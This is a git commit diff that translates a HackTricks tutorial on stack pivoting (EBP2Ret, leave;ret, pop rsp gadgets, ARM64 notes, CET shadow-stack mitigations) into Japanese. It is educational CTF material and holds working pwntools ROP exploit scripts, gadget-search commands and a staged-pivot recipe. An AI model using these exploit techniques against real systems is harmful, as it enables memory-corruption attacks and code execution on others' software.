Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r

This commit is contained in:
Translator 2025-08-18 16:16:52 +00:00
parent a761a2e0e6
commit 62a4233164

View File

@ -4,59 +4,63 @@
## 基本情報
この技術は、**ベースポインタEBP**を操作する能力を利用して、EBPレジスタと**`leave; ret`**命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンするものです。
この技術は、**ベースポインタEBP/RBP**を操作する能力を利用して、フレームポインタと**`leave; ret`**命令シーケンスを慎重に使用することで、複数の関数の実行をチェーンするものです。
念のため、**`leave`**は基本的に次の意味です:
おさらいとして、x86/x86-64において**`leave`**は次のように等価です:
```
mov ebp, esp
pop ebp
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
And as the **EBPはスタックにある** EIPの前に、スタックを制御することでそれを制御することが可能です。
And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's possible to control it by controlling the stack.
> Notes
> - On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
> - Some compilers omit the frame pointer (see “EBP might not be used”). In that case, `leave` might not appear and this technique wont work.
### EBP2Ret
この技術は、**EBPレジスタを変更できるが、EIPレジスタを直接変更する方法がない**場合に特に有用です。これは、関数が実行を終了する際の動作を利用します。
この技術は、**保存された EBP/RBP を変更できるが、EIP/RIP を直接変更する方法がない**場合に特に有用です。関数のエピローグの動作を利用します。
`fvuln`の実行中に、シェルコードのアドレスがあるメモリの領域を指す**偽のEBP**をスタックに注入することに成功すれば(`pop`操作のために4バイトを加算、EIPを間接的に制御できます。`fvuln`が戻ると、ESPはこの作成された位置に設定され、その後の`pop`操作はESPを4減少させ、**実質的に攻撃者がそこに保存したアドレスを指すことになります。**\
ここで**2つのアドレスを知っておく必要があります**: ESPが移動するアドレスと、ESPが指すアドレスを書き込む必要があるアドレスです。
`fvuln` の実行中に、シェルコード/ROP チェーンのアドレスがあるメモリ領域を指す**偽の EBP**をスタックに注入できればamd64 では 8 バイト / x86 では 4 バイトの `pop` を考慮、RIP を間接的に制御できます。関数が戻ると、`leave` が RSP を作成した位置に設定し、その後の `pop rbp` が RSP を減少させ、**攻撃者がそこに保存したアドレスを指すようになります**。その後、`ret` はそのアドレスを使用します。
**2 つのアドレスを知る必要があることに注意してください**: ESP/RSP が移動するアドレスと、`ret` が消費するそのアドレスに保存されている値です。
#### Exploit Construction
まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知っておく必要があります。ESPはここを指し、**最初の`ret`を実行します**。
まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知る必要があります。RSP はここを指し、**最初の `ret` を消費します**。
次に、**任意のコードを実行する**ために使用される`ret`のアドレスを知っておく必要があります。以下のように使用できます:
次に、**実行を転送する**ために `ret` が使用するアドレスを選択する必要があります。次のようなものを使用できます:
- 有効な[**ONE_GADGET**](https://github.com/david942j/one_gadget)アドレス。
- **`system()`**のアドレスの後に**4バイトのゴミデータ**と`"/bin/sh"`のアドレスx86ビット)。
- **`jump esp;`**ガジェットのアドレス([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)の後に**実行するシェルコード**
- 一部の[**ROP**](../rop-return-oriented-programing/index.html)チェーン。
- 有効な [**ONE_GADGET**](https://github.com/david942j/one_gadget) アドレス。
- **`system()`** のアドレス、その後に適切な戻り値と引数x86 の場合: `ret` ターゲット = `&system`、次に 4 バイトのジャンク、次に `&"/bin/sh"`)。
- **`jmp esp;`** ガジェットのアドレス([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)その後にインラインシェルコード
- 書き込み可能なメモリにステージされた [**ROP**](../rop-return-oriented-programing/index.html) チェーン。
これらのアドレスの前には、制御されたメモリ部分に**`4`バイト**が必要です。これは**`pop`**部分の`leave`命令のためです。これらの4バイトを悪用して**2つ目の偽EBP**を設定し、実行を制御し続けることが可能です。
これらのアドレスの前には、**`leave` からの `pop ebp/rbp` のためのスペースが必要です**amd64 では 8B、x86 では 4B。これらのバイトを悪用して、**2 番目の偽 EBP**を設定し、最初の呼び出しが戻った後も制御を維持できます。
#### Off-By-One Exploit
この技術の特定のバリアントは「Off-By-One Exploit」として知られています。これは、**EBPの最下位バイトのみを変更できる**場合に使用されます。この場合、**`ret`**でジャンプするアドレスを格納するメモリ位置はEBPの最初の3バイトを共有する必要があり、より制約のある条件で類似の操作が可能になります。\
通常、0x00のバイトを変更してできるだけ遠くにジャンプします。
保存された EBP/RBP の最下位バイトのみを**変更できる**場合に使用されるバリアントがあります。この場合、**`ret`** でジャンプするアドレスを格納するメモリ位置は、元の EBP/RBP と最初の 3/5 バイトを共有する必要があるため、1 バイトの上書きでリダイレクトできます。通常、低バイト(オフセット 0x00は、近くのページ/整列された領域内でできるだけ遠くにジャンプするために増加します。
また、スタックにRETスレッドを使用し、実際のROPチェーンを最後に配置して、新しいESPがRETスレッド内を指し、最終的なROPチェーンが実行される可能性を高めることが一般的です。
スタックに RET スレッドを使用し、実際の ROP チェーンを最後に配置して、新しい RSP がスレッド内を指し、最終的な ROP チェーンが実行される可能性を高めることも一般的です。
### **EBP Chaining**
### EBP Chaining
したがって、スタックの`EBP`エントリに制御されたアドレスを置き、`EIP``leave; ret`のアドレスを置くことで、**スタックから制御された`EBP`アドレスに`ESP`を移動させることが可能です**
スタックの保存された `EBP` スロットに制御されたアドレスを配置し、`EIP/RIP``leave; ret` ガジェットを配置することで、**`ESP/RSP` を攻撃者が制御するアドレスに移動させる**ことが可能です
今、**`ESP`**は望ましいアドレスを指すように制御されており、次に実行される命令は`RET`です。これを悪用するために、制御されたESPの場所に次のものを配置することが可能です:
これで `RSP` が制御され、次の命令は `ret` です。制御されたメモリに次のようなものを配置します:
- **`&(次の偽EBP)`** -> `leave`命令からの`pop ebp`により新しいEBPをロード
- **`system()`** -> `ret`によって呼び出される
- **`&(leave;ret)`** -> systemが終了した後に呼び出され、ESPを偽EBPに移動させ、再び開始
- **`&("/bin/sh")`**-> `system`のパラメータ
- `&(next fake EBP)` -> `leave` から `pop ebp/rbp` によって読み込まれます。
- `&system()` -> `ret` によって呼び出されます。
- `&(leave;ret)` -> `system` が終了した後、RSP を次の偽 EBP に移動させ、続行します。
- `&("/bin/sh")` -> `system` の引数。
基本的に、この方法で複数の偽EBPを連鎖させてプログラムのフローを制御することが可能です。
このようにして、プログラムのフローを制御するために複数の偽 EBP を連鎖させることが可能です。
これは[ret2lib](../rop-return-oriented-programing/ret2lib/index.html)のようなものですが、明らかな利点はなく、いくつかのエッジケースでは興味深いかもしれません
これは [ret2lib](../rop-return-oriented-programing/ret2lib/index.html) のようなものですが、より複雑で、エッジケースでのみ有用です
さらに、ここにこの技術を使用した[**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)があります。これは**スタックリーク**を使用して勝利関数を呼び出します。これはページからの最終的なペイロードです:
さらに、ここに [**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) があり、この技術を使用して**スタックリーク**を利用して勝利関数を呼び出します。これはページからの最終ペイロードです:
```python
from pwn import *
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
@ -81,23 +85,24 @@ POP_RSI_R15,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBPは使用されない可能性がある
> amd64 アライメントのヒント: System V ABI は、呼び出しサイトで 16 バイトのスタックアライメントを要求します。`system` のような関数を呼び出すチェーンがある場合、アライメントを維持し、`movaps` のクラッシュを避けるために、呼び出しの前にアライメントガジェット(例: `ret` または `sub rsp, 8 ; ret`)を追加してください。
[**この投稿で説明されているように**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)、バイナリがいくつかの最適化でコンパイルされている場合、**EBPはESPを制御することができません**。したがって、EBPを制御することによって機能するエクスプロイトは基本的に失敗します。なぜなら、それには実際の効果がないからです。\
これは、バイナリが最適化されると**プロローグとエピローグが変更される**ためです。
## EBP は使用されない可能性がある
- **最適化されていない:**
[**この投稿で説明されているように**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)、バイナリがいくつかの最適化やフレームポインタの省略でコンパイルされている場合、**EBP/RBP は ESP/RSP を制御しません**。したがって、EBP/RBP を制御することによって機能するエクスプロイトは、プロローグ/エピローグがフレームポインタから復元しないため、失敗します。
- 最適化されていない / フレームポインタが使用されている:
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **最適化された:**
- 最適化された / フレームポインタが省略された:
```bash
push %ebx # save ebx
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
pop %ebx # restore
ret # return
```
On amd64では、`leave ; ret`の代わりにしばしば`pop rbp ; ret`が見られますが、フレームポインタが完全に省略されている場合、ピボットするための`rbp`ベースのエピローグは存在しません。
## RSPを制御する他の方法
### **`pop rsp`** ガジェット
### `pop rsp`ガジェット
[**このページ**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)では、この技術を使用した例を見つけることができます。のチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、**`pop rsp` ガジェット**があり、**スタックからのリーク**があります:
[**このページ**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)では、この技術を使用した例を見つけることができます。のチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、**`pop rsp`ガジェット**があり、**スタックからのleak**があります:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -167,7 +174,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp ガジェット
### xchg <reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
@ -175,26 +182,73 @@ xchg <reg>, rsp
```
### jmp esp
ret2espテクニックについてはここを確認してください:
ret2espテクニックについては、こちらを確認してください:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## 参考文献と他の例
### ピボットガジェットを迅速に見つける
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64ビット、retスレッドで始まるropチェーンを使用したオフバイワンのエクスプロイト
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64ビット、relroなし、canary、nxおよびpie。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。まずスタックリークを取得し、WWWを使用して戻り、pieリークを取得します。その後、WWWを使用して`.fini_array`エントリを悪用した永続ループを作成し、`__libc_csu_fini`を呼び出します([こちらに詳細](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンを書き込み、RBPでピボットを呼び出します。
お気に入りのガジェットファインダーを使用して、クラシックなピボットプリミティブを検索します:
- `leave ; ret` 関数またはライブラリ内
- `pop rsp` / `xchg rax, rsp ; ret`
- `add rsp, <imm> ; ret` (または x86 では `add esp, <imm> ; ret`
例:
```bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
```
### クラシックピボットステージングパターン
多くのCTFやエクスプロイトで使用される堅牢なピボット戦略
1) 小さな初期オーバーフローを使用して、`read`/`recv`を大きな書き込み可能領域(例:`.bss`、ヒープ、またはマップされたRWメモリに呼び出し、そこに完全なROPチェーンを配置します。
2) ピボットガジェット(`leave ; ret``pop rsp``xchg rax, rsp ; ret`に戻り、RSPをその領域に移動させます。
3) ステージされたチェーンを続行しますlibcをリークし、`mprotect`を呼び出し、次にシェルコードを`read`し、それにジャンプします)。
## スタックピボティングを破る現代の緩和策CET/シャドウスタック)
現代のx86 CPUとOSはますます**CETシャドウスタックSHSTK**を展開しています。SHSTKが有効な場合、`ret`は通常のスタック上の戻りアドレスとハードウェア保護されたシャドウスタックを比較します不一致があると、制御保護フォルトが発生し、プロセスが終了します。したがって、EBP2Ret/leave;retベースのピボットのような技術は、ピボットされたスタックから最初の`ret`が実行されるとすぐにクラッシュします。
- 背景と詳細については、次を参照してください:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
- Linuxでのクイックチェック
```bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
```
- ラボ/CTFのート:
- 一部の最新のディストリビューションは、ハードウェアとglibcのサポートがある場合、CET対応バイナリに対してSHSTKを有効にします。VMでの制御されたテストのために、SHSTKはカーネルブートパラメータ`nousershstk`を介してシステム全体で無効にすることができ、起動時にglibcの調整を介して選択的に有効にすることができます参照を参照。本番ターゲットでの緩和策を無効にしないでください。
- JOP/COOPまたはSROPベースの技術は、一部のターゲットで依然として有効かもしれませんが、SHSTKは特に`ret`ベースのピボットを壊します。
- Windowsの注意: Windows 10以降はユーザーモードを公開し、Windows 11はカーネルモードの「ハードウェア強制スタック保護」を追加します。CET互換プロセスは、`ret`でのスタックピボティング/ROPを防ぎます。開発者はCETCOMPATおよび関連ポリシーを介してオプトインします参照を参照
## ARM64
ARM64では、関数の**プロローグとエピローグ**は**スタック内のSPレジスタを保存および取得しません**。さらに、**`RET`**命令はSPが指すアドレスに戻るのではなく、**`x30`**内のアドレスに戻ります。
ARM64では、関数の**プロローグとエピローグ**は**スタックSPレジスタを保存および取得しません**。さらに、**`RET`**命令はSPが指すアドレスに戻るのではなく、**`x30`**内のアドレスに戻ります。
したがって、デフォルトでは、エピローグを悪用するだけでは**SPレジスタを制御することはできません**。スタック内のデータを上書きしても、SPを制御できたとしても、**`x30`**レジスタを**制御する方法**が必要です。
したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きすることで**SPレジスタを制御することはできません**。そして、たとえSPを制御できたとしても、**`x30`**レジスタを**制御する方法が必要です**
- プロローグ
@ -213,12 +267,23 @@ ret
```
> [!CAUTION]
> ARM64でスタックピボティングに似たことを実行する方法は、**`SP`**を**制御すること**`SP`に渡される値を持つレジスタを制御するか、何らかの理由で`SP`がスタックからアドレスを取得し、オーバーフローが発生する場合)であり、その後、**エピローグを悪用**して**制御された`SP`**から**`x30`**レジスタをロードし、**`RET`**することです。
> ARM64でスタックピボティングに似たことを行う方法は、**`SP`**を**制御できること**`SP`に渡される値を持つレジスタを制御するか、何らかの理由で`SP`がスタックからアドレスを取得しており、オーバーフローがある場合)であり、その後**エピローグを悪用**して**制御された`SP`から**`x30`**レジスタをロードし、**`RET`**します。
また、次のページでは**ARM64におけるRet2espの同等物**を見ることができます:
次のページでは**ARM64におけるRet2espの同等物**を見ることができます:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
## 参考文献
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64ビット、リターンスレッドで始まるROPチェーンを使用したオフバイワンのエクスプロイト
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64ビット、relroなし、カナリア、nxおよびpie。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。最初にスタックリークを取得し、WWWを使用して戻ってpieリークを取得します。次に、WWWを使用して`.fini_array`エントリを悪用し、`__libc_csu_fini`を呼び出して永続ループを作成します([詳細はこちら](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンが書き込まれ、RBPでピボットして呼び出されます。
- Linuxカーネルドキュメント: 制御フロー強制技術CETシャドウスタック — SHSTK、`nousershstk``/proc/$PID/status`フラグ、および`arch_prctl`を介しての有効化の詳細。 https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: カーネルモードハードウェア強制スタック保護WindowsのCETシャドウスタック。 https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
{{#include ../../banners/hacktricks-training.md}}